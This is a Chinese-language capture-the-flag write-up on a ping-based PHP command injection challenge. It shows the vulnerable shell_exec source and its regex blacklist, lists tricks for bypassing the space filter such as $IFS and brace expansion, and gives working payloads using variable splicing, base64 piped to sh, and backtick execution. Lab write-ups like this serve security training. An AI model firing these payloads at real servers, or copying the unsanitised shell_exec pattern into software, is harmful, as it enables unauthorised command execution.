PING命令執行漏洞-繞過空格

PING命令執行漏洞-繞過空格

  1. 環境地址://4bd16c11-36e4-4f17-aa8a-6570b4def85f.node4.buuoj.cn/

  1. 我們看到/?ip=可以試一下本地ip

看到這裡我們就能知道命令執行方法大概就是加上管道符「|」或者「;」

  1. 我們列出目錄下面的文件

    /?ip=127.0.0.1;ls
    

我們發現有flag.php和index.php兩個文件,嘗試讀取flag.php

發現空格被過濾了(fxck your space就是過濾空格的意思!)

這邊介紹一下繞過空格的方法大概有以下幾種

$IFS
${IFS}
$IFS$1   //$1改成$加其他數字貌似都行
$IFS$9      (Ubuntu下測試通過)後面加個$與{}類似,起截斷作用,$9是當前系統shell進程第九個參數持有者,始終為空字元串,如cat$IFS2$9flag.php
< 
<> 
{cat,flag.php}  //用逗號實現了空格功能
%20 
%09 

ps:有時會禁用cat:
解決方法是使用tac反向輸出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

然後我們嘗試用 ${IFS} 繞過空格,發現{}被ban

然後我們在嘗試用 $IFS$1 繞過空格,發現flag被ban

接著我們嘗試讀取一下index.php的內容

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

過濾了很多標點,空格,bash,flag,那麼網上搜索有這幾種做法:

cat fl* 利用*匹配任意 不行
echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
ca\t fl\ag.php 不行
cat fl''ag.php 不行

解決方法:

方法一:用變數拼接:我們發現源碼中有一個$a變數可以覆蓋

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

方法二:過濾bash?那就用sh。sh的大部分腳本都可以在bash下運行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

方法三:內聯執行的做法

?ip=127.0.0.1;cat$IFS$9`ls`

內聯,就是將反引號內命令的輸出作為輸入執行

參考連接:

//www.jianshu.com/p/fd7f9fcc9333

Tags: